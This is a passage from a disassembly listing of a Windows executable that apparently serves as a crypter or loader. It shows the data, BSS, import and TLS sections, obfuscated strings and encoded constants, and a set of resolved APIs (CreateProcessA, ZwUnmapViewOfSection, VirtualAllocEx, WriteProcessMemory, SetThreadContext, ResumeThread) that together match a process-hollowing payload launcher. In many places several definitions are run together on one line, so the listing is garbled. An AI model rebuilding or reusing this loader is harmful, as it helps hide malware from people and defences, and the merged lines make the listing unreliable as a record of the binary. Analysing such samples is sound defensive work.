aNoyetavo43	db 'noyetavo43',0       ; DATA XREF: CODE:004046A8o
		align 10h
		dd 0FFFFFFFFh, 0Bh
aMoboyaja108	db 'moboyaja108',0      ; DATA XREF: CODE:004046B7o
		dd 0FFFFFFFFh, 0Ah
aFofigaba70	db 'fofigaba70',0       ; DATA XREF: CODE:004046C6o
		align 4
		dd 0FFFFFFFFh, 0Ah
aPecipowe36	db 'pecipowe36',0       ; DATA XREF: CODE:004046D5o
		align 4
		dd 0FFFFFFFFh, 0Bh
aSasapero105	db 'sasapero105',0      ; DATA XREF: CODE:004046E4o
		dd 0FFFFFFFFh, 0Ah
aWohepodo79	db 'wohepodo79',0       ; DATA XREF: CODE:004046F3o
		align 4
		dd 0FFFFFFFFh, 0Ah
aHakifoxi63	db 'hakifoxi63',0       ; DATA XREF: CODE:00404702o
		align 4
		dd 0FFFFFFFFh, 0Ah
aWonexifi78	db 'wonexifi78',0       ; DATA XREF: CODE:00404711o
		align 4
		dd 0FFFFFFFFh, 0Ah
aBelogoki68	db 'belogoki68',0       ; DATA XREF: CODE:00404720o
		align 10h
		dd 0FFFFFFFFh, 7Ah
a00000010000000	db '00000010000000000000000020000000000000000000000000000000000000000'
					; DATA XREF: CODE:0040472Fo
		db '000000000000000000000000000000000000000000000000000000000',0
		align 4
		dd 0FFFFFFFFh, 10h
aQnkomxlZe78	db '|[}QnkomxL%ZE]78',0 ; DATA XREF: CODE:00404759o
		align 10h
		dd 0FFFFFFFFh, 0Eh
dword_405078	dd 6BAF5799h, 78A654B4h, 47A270B9h, 6AA2h, 0FFFFFFFFh
					; DATA XREF: CODE:0040476Co
		dd 0Ch
dword_405090	dd 55A957B5h, 9F657A3h,	4EBA73F1h, 0					; CODE:004047BDo
		dd 0FFFFFFFFh, 9
dword_4050A8	dd 57BF46B0h, 54A115AAh, 0B0h, 0FFFFFFFFh, 0Chdword_4050BC	dd 5AAD56BFh, 9F652B6h,	4EBA73F1h, 0		dd 0FFFFFFFFh, 14h
aDeoulzFIaDk@Md	db 'EUZf{aD@MA',0 ; DATA XREF: CODE:0040482Co
		align 4
		dd 0FFFFFFFFh, 0Dh
dword_4050F4	dd 5FB55B98h, 55B65E94h, 47B264ADh, 91h, 0FFFFFFFFh, 0Ch
					; DATA XREF: CODE:0040485Ao
dword_40510C	dd 5FBA5D92h, 54B65E94h, 47B565AAh, 0		dd 0FFFFFFFFh, 0Ch
dword_405124	dd 50B85D92h, 54B65E94h, 47B565AAh, 0		dd 0FFFFFFFFh, 0Ch
dword_40513C	dd 5EBE4098h, 54B65E94h, 47B565AAh, 0		dd 0FFFFFFFFh, 0Eh
dword_405154	dd 5EA15B8Dh, 5C975DA9h, 50A57BAEh, 7CB2h, 0FFFFFFFFh
					; DATA XREF: CODE:004048FEo
		dd 0Bh
dword_40516C	dd 5EBE4098h, 4AA7528Ah, 0AC66BDh, 0FFFFFFFFh, 0Eh
					; DATA XREF: CODE:00404927o
dword_405180	dd 4FA95B88h, 78A95AB3h, 41BF78B1h, 6194h, 0FFFFFFFFh
					; DATA XREF: CODE:00404950o
		dd 10h
aIIoZiZqkkCkz	db '[OZ`qKcZ',0 ; DATA XREF: CODE:00404979o
		align 4
		dd 0FFFFFFFFh, 12h
aI@Ogk_NRrvlY	db '@Ok_{]rLY',0 ; DATA XREF: CODE:004049A2o
		align 4
		dd 0FFFFFFFFh, 11h
aMw_ciksMncZap	db 'W_ISmczP',0 ; DATA XREF: CODE:004049CBo
		align 4
		dd 0FFFFFFFFh, 10h
aSwpooiaq@ircv	db 'WoIQ]@rV',0 ; DATA XREF: CODE:004049F4o
		align 10h
		dd 0FFFFFFFFh, 10h
aNwpooiaq@ircv	db 'WoIQ]@rV',0 ; DATA XREF: CODE:00404A1Do
		align 4
		dd 0FFFFFFFFh, 0Eh
dword_405224	dd 5ABE409Dh, 4B955EB2h, 51B577B2h, 58A2h, 0FFFFFFFFh
					; DATA XREF: CODE:00404A46o
		dd 0Ch
dword_40523C	dd 4EA8578Ch, 53915EABh, 46B772ADh, 0		dd 0FFFFFFFFh, 10h
aKwivpuddNmaRQ	db 'WVUDNArQ',0 ; DATA XREF: CODE:00404A98o
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_405270	dd 55BE4291h, 5BAA4996h, 0A667B9h, 0FFFFFFFFh, 0Bh
					; DATA XREF: CODE:00404AC1o
dword_405284	dd 74BC578Ch, 73AB5EB6h, 946DB9h, 0FFFFFFFFh, 1dword_405298	dd 8Ch,	0FFFFFFFFh, 1dword_4052A4	dd 99h,	0FFFFFFFFh, 8dword_4052B0	dd 4FBD5D8Dh, 5DB75AB1h, 0		dd 0FFFFFFFFh, 4
dword_4052C4	dd 51BE42B1h, 0			dd 0FFFFFFFFh, 7
dword_4052D4	dd 11AF57B0h, 0A745A4h,	0FFFFFFFFh, 12hdword_4052E4	dd 5AAF41FEh, 58B64FB4h, 4ABB6CB4h, 468C74BCh, 53BDh
					; DATA XREF: CODE:00404BE4o
		dd 42h dup(?)
CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00000110 (	272.)
; Section size in file		: 00000110 (	272.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 406000h
dword_406000	dd 0							; sub_403364+2w ...
dword_406004	dd 0							; sub_403308+37r ...
dword_406008	dd 33DC589Ch						; sub_402B6C+Ew
byte_40600C	db 2			; DATA XREF: sub_403AE4+Dw
		db 8Dh,	40h, 0
word_406010	dw 1332h		; DATA XREF: sub_402C94+6r
					; sub_402C94:loc_402D0Cr ...
		dw 0C08Bh
byte_406014	db 0			; DATA XREF: sub_402D70r sub_402D8Cr ...
		db 8Dh,	40h, 0
byte_406018	db 0			; DATA XREF: sub_4031E8-336r
					; sub_4031E8:loc_402EEDr
		db 8Dh,	40h, 0
byte_40601C	db 0			; DATA XREF: sub_403394:loc_4033F5r
		db 8Dh,	40h, 0
dword_406020	dd 0		dword_406024	dd 0		off_406028	dd offset sub_402178	; DATA XREF: sub_4027CC+Ar
					; sub_40281C+3Fr
off_40602C	dd offset sub_402324	; DATA XREF: sub_4027FC+5r
					; sub_40281C+26r
off_406030	dd offset sub_402700	; DATA XREF: sub_40281C+Dr
byte_406034	db 0			; DATA XREF: sub_402878+36r
aRsu		db '',0
aFxn@		db '@',0
aError		db 'Error',0            ; DATA XREF: sub_403394+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_403308+3o
					; sub_403394+32o ...
		dw 0C08Bh
byte_406078	db 30h			; DATA XREF: sub_403308+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_403BF8+Dr
					; sub_403BF8+40r ...
dword_40608C	dd 0							; sub_403C94+33o ...
dword_406090	dd 400000h	dword_406094	dd 0		dword_406098	dd 0				dd 2 dup(0)
dword_4060A4	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4060C4	dd offset dword_4076A8	; DATA XREF: CODE:00404AD9r
					; CODE:00404C36r
off_4060C8	dd offset dword_40767C	; DATA XREF: CODE:0040493Fr
					; CODE:00404C06r ...
off_4060CC	dd offset dword_407664	; DATA XREF: CODE:00404872r
off_4060D0	dd offset dword_40769C	; DATA XREF: sub_403E54+2A5r
					; CODE:00404A87r
off_4060D4	dd offset dword_407678	; DATA XREF: sub_403E54+170r
					; sub_403E54+1D2r ...
off_4060D8	dd offset dword_407688	; DATA XREF: sub_403E2C+2r
					; CODE:00404849r
off_4060DC	dd offset dword_407698	; DATA XREF: sub_403E54+88r
					; CODE:00404A5Er
off_4060E0	dd offset dword_407690	; DATA XREF: sub_403E54+C0r
					; CODE:00404A0Cr
off_4060E4	dd offset dword_4076AC	; DATA XREF: CODE:00404B07r
					; CODE:00404C66r
off_4060E8	dd offset dword_407680	; DATA XREF: sub_403E54+146r
					; CODE:00404968r
off_4060EC	dd offset dword_40766C	; DATA XREF: CODE:0040489Br
off_4060F0	dd offset dword_407670	; DATA XREF: CODE:004048C4r
off_4060F4	dd offset dword_407668	; DATA XREF: CODE:00404916r
off_4060F8	dd offset dword_407684	; DATA XREF: sub_403E54+207r
					; CODE:00404991r
off_4060FC	dd offset dword_40768C	; DATA XREF: sub_403E54+F8r
					; CODE:004049E3r
off_406100	dd offset dword_407674	; DATA XREF: CODE:004048EDr
off_406104	dd offset dword_4076A4	; DATA XREF: CODE:00404610r
off_406108	dd offset dword_4076A0	; DATA XREF: sub_403E54+296r
					; CODE:00404AB0r
off_40610C	dd offset dword_407694	; DATA XREF: sub_403E54+269r
					; CODE:00404A35r
		align 100h
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 00000851 (   2129.)
; Section size in file		: 00000851 (   2129.)
; Offset to raw	data for section: 00007000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 407000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_407000	dd offset sub_403924	; DATA XREF: sub_403AE4+2Fw
dword_407004	dd 0		dword_407008	dd 0							; sub_402878+16r
dword_40700C	dd 0							; CODE:00403158r
off_407010	dd offset sub_401008	; DATA XREF: sub_402D70+14r
					; sub_402D8C+16r ...
off_407014	dd offset sub_401010	; DATA XREF: sub_4031E8-2B6r
					; CODE:00403140r ...
dword_407018	dd 0							; sub_403420+B7r
dword_40701C	dd 400000h	dword_407020	dd 300h		byte_407024	db 0			; DATA XREF: sub_4032C8+33w
		align 4
dword_407028	dd 0Ah		dword_40702C	dd 142340h	dword_407030	dd 0		byte_407034	db 0			; DATA XREF: sub_403394+1r
byte_407035	db 0			; DATA XREF: sub_40191C+1Cr
					; sub_40191C:loc_4019D0r ...
byte_407036	db 2			; DATA XREF: sub_403AE4+28w
		align 4
dword_407038	dd 0							; sub_403A90+19o
word_40703C	dw 0D7B0h		; DATA XREF: sub_403AE4+4Cw
		align 10h
		dd 71h dup(0)
dword_407204	dd 0							; sub_403A90+23o
word_407208	dw 0D7B0h		; DATA XREF: sub_403394+Ar
					; sub_403AE4+55w
		align 10h
dword_407210	dd 0				align 10h
dword_407220	dd 0				dd 6Bh dup(0)
dword_4073D0	dd 0		word_4073D4	dw 0D7B0h		; DATA XREF: sub_403AE4+5Ew
		align 4
		dd 71h dup(0)
dword_40759C	dd 16h							; sub_402030+C3w ...
dword_4075A0	dd 16420h						; sub_402030+CCw ...
dword_4075A4	dd 0							; sub_403AE4w
dword_4075A8	dd 3							; sub_403AE4+9Cw ...
byte_4075AC	db 0			; DATA XREF: sub_40191C+A0w
					; sub_40191C:loc_4019EBr ...
		align 10h
dword_4075B0	dd 0							; sub_4015E0+99w ...
dword_4075B4	dd 6 dup(0)						; sub_40191C+25o ...
dword_4075CC	dd 0							; sub_401114+3Cw ...
dword_4075D0	dd 146654h						; sub_4011FC+22r ...
off_4075D4	dd offset off_4075D4	; DATA XREF: sub_40137C+3Eo
					; sub_4013E0+51o ...
		dd offset off_4075D4
		dd 2 dup(0)
off_4075E4	dd offset off_4075E4	; DATA XREF: sub_40169C+Do
					; sub_401744+12o ...
		dd offset off_4075E4
		dd 2 dup(0)
dword_4075F4	dd 8718F4h	dword_4075F8	dd 8701E0h			align 10h
dword_407600	dd 8701E0h						; sub_401AF4+4r ...
dword_407604	dd 1DECh	dword_407608	dd 8CE210h						; sub_401EC0+2Er ...
dword_40760C	dd 0							; sub_40191C+5Er ...
off_407610	dd offset off_407610	; DATA XREF: sub_40191C+43o
					; sub_4019F4+90o ...
		dd offset off_407610
		align 10h
dword_407620	dd 0							; sub_403258+9o ...
dword_407624	dd 12FFB4h						; sub_4031C0+2r
off_407628	dd offset dword_40458C	; DATA XREF: sub_4032C8+14w
dword_40762C	dd 0		off_407630	dd offset dword_40608C	; DATA XREF: sub_4032C8+20w
		dd 6 dup(0)
byte_40764C	db 0			; DATA XREF: sub_403C48r
		align 10h
dword_407650	dd 400000h						; sub_403C94+16r ...
dword_407654	dd 0							; CODE:loc_403D08w
dword_407658	dd 0		dword_40765C	dd 0							; sub_403D40w
dword_407660	dd 0							; sub_403D90w
dword_407664	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceA					; DATA:off_4060CCo
dword_407668	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; DATA:off_4060F4o
dword_40766C	dd 7C809FB5h	; resolved to->KERNEL32.LoadResource					; DATA:off_4060ECo
dword_407670	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; DATA:off_4060F0o
dword_407674	dd 7C8260C2h	; resolved to->KERNEL32.FreeResource					; DATA:off_406100o
dword_407678	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_40767C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_407680	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocExdword_407684	dd 7C801A5Dh	; resolved to->KERNEL32.VirtualProtectExdword_407688	dd 7C90E960h	; resolved to->NTDLL.ZwUnmapViewOfSectiondword_40768C	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_407690	dd 7C83970Dh	; resolved to->KERNEL32.GetThreadContextdword_407694	dd 7C862A69h	; resolved to->KERNEL32.SetThreadContextdword_407698	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_40769C	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThreaddword_4076A0	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_4076A4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4076A8	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_4076AC	dd 77DFC41Bh	; resolved to->ADVAPI32.RegOpenKeyAdword_4076B0	dd 0							; sub_403E1Cw
dword_4076B4	dd 0							; sub_404164w
dword_4076B8	dd 0							; sub_40419Cw
dword_4076BC	dd 0							; sub_4041D4w
dword_4076C0	dd 0							; sub_40420Cw
dword_4076C4	dd 0							; sub_404244w
dword_4076C8	dd 0							; sub_40429Cw
dword_4076CC	dd 8B800Ch						; CODE:00404D67o ...
dword_4076D0	dd 4228A0h						; CODE:00404D2Cr
dword_4076D4	dd 103h							; CODE:00404D31r
byte_4076D8	db 3 dup(1)		; DATA XREF: CODE:00404D27o
aLod85fafJRi	db '<lOD85FAf)#j]{ri',0 ; DATA XREF: CODE:00404DB3o
		dd 3Ch dup(0)
dword_4077DC	dd 16200h						; CODE:00404D48o ...
dword_4077E0	dd 887B10h						; CODE:00404DC8r ...
dword_4077E4	dd 89DD38h						; CODE:00404D82r ...
dword_4077E8	dd 7C900000h						; CODE:0040483Fr ...
dword_4077EC	dd 77DD0000h						; CODE:00404AFDr ...
byte_4077F0	db 0			; DATA XREF: CODE:00404C4Aw
					; CODE:00404C80w ...
		align 4
dword_4077F4	dd 40h		dword_4077F8	dd 8701CCh						; CODE:00404766r ...
dword_4077FC	dd 871604h						; CODE:00404D0Cr
dword_407800	dd 871624h						; CODE:00404D3Cr
dword_407804	dd 0CC61Fh						; CODE:0040464Cr ...
dword_407808	dd 0							; CODE:00404C71r
dword_40780C	dd 870144h						; CODE:0040472Ao ...
dword_407810	dd 870024h	dword_407814	dd 87003Ch	dword_407818	dd 870054h	dword_40781C	dd 87006Ch	dword_407820	dd 870084h	dword_407824	dd 87009Ch	dword_407828	dd 8700B4h	dword_40782C	dd 8700CCh	dword_407830	dd 8700E4h	dword_407834	dd 8700FCh	dword_407838	dd 870114h	dword_40783C	dd 87012Ch						; CODE:00404CC5r
dword_407840	dd 8716D0h						; CODE:00404C56r
dword_407844	dd 87173Ch	dword_407848	dd 8717A4h	dword_40784C	dd 8718E0h			align 200h
BSS		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 000004A6 (   1190.)
; Section size in file		: 000004A6 (   1190.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 408000h
		dd 3 dup(0)
		dd 8164h, 80A0h, 3 dup(0)
		dd 8318h, 8100h, 3 dup(0)
		dd 8350h, 8110h, 3 dup(0)
		dd 8390h, 8120h, 3 dup(0)
		dd 83C2h, 812Ch, 3 dup(0)
		dd 840Eh, 8140h, 3 dup(0)
		dd 844Ch, 8150h, 5 dup(0)
dword_4080A0	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_4080A4	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4080A8	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4080AC	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_4080B0	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4080B4	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_4080B8	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4080BC	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4080C0	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4080C4	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_4080C8	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_4080CC	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_4080D0	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_4080D4	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4080D8	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4080DC	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4080E0	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4080E4	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4080E8	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_4080EC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4080F0	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4080F4	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4080F8	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 10h
dword_408100	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_408104	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_408108	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 10h
dword_408110	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_408114	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_408118	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 10h
dword_408120	dd 77124880h	dword_408124	dd 77124BA7h			dd 0
dword_40812C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_408130	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_408134	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_408138	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		align 10h
dword_408140	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_408144	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_408148	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess		align 10h
dword_408150	dd 7C9012D6h	; resolved to->NTDLL.RtlInitUnicodeStringdword_408154	dd 7C90125Ch	; resolved to->NTDLL.RtlInitStringdword_408158	dd 7C9161CAh	; resolved to->NTDLL.LdrLoadDlldword_40815C	dd 7C919B88h	; resolved to->NTDLL.LdrGetProcedureAddress		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 4
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 53746547h
		dd 74726174h, 6E497075h, 416F66h, 65470000h, 646F4D74h
		dd 46656C75h, 4E656C69h, 41656D61h, 0
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 4
		dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 65657246h
		dd 7262694Ch, 797261h, 78450000h, 72507469h, 7365636Fh
		dd 73h,	74697257h, 6C694665h, 65h, 61686E55h, 656C646Eh
		dd 63784564h, 69747065h, 69466E6Fh, 7265746Ch, 0
aRtlunwind	db 'RtlUnwind',0
		align 4
aRaiseexception	db 'RaiseException',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
		dd 6C6Ch, 65470000h, 79654B74h,	72616F62h, 70795464h, 65h
		dd 7373654Dh, 42656761h, 41786Fh, 68430000h, 654E7261h
		dd 417478h, 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 4
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 4
aRegclosekey	db 'RegCloseKey',0
aOleaut32_dll	db 'oleaut32.dll',0
		align 10h
aSysfreestring	db 'SysFreeString',0
		align 10h
aSysallocstring	db 'SysAllocStringLen',0
aKernel32_dll_0	db 'kernel32.dll',0
		align 10h
		dd 6C540000h, 74655373h, 756C6156h, 65h, 47736C54h, 61567465h
		dd 65756Ch, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6D6F4374h
		dd 646E616Dh, 656E694Ch, 41h, 74697845h, 636F7250h, 737365h
		dd 6C64746Eh, 6C642E6Ch, 6Ch, 496C7452h, 5574696Eh, 6F63696Eh
		dd 74536564h, 676E6972h, 0
aRtlinitstring	db 'RtlInitString',0
		align 10h
aLdrloaddll	db 'LdrLoadDll',0
		align 4
		dd 644C0000h, 74654772h, 636F7250h, 72756465h, 64644165h
		dd 73736572h
		align 200h
_idata		ends

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 00009000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 409000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Eh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000A000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends

; Section 9. (virtual address 00023000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00022A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 423000h
		align 2000h
_idata2		ends


		end start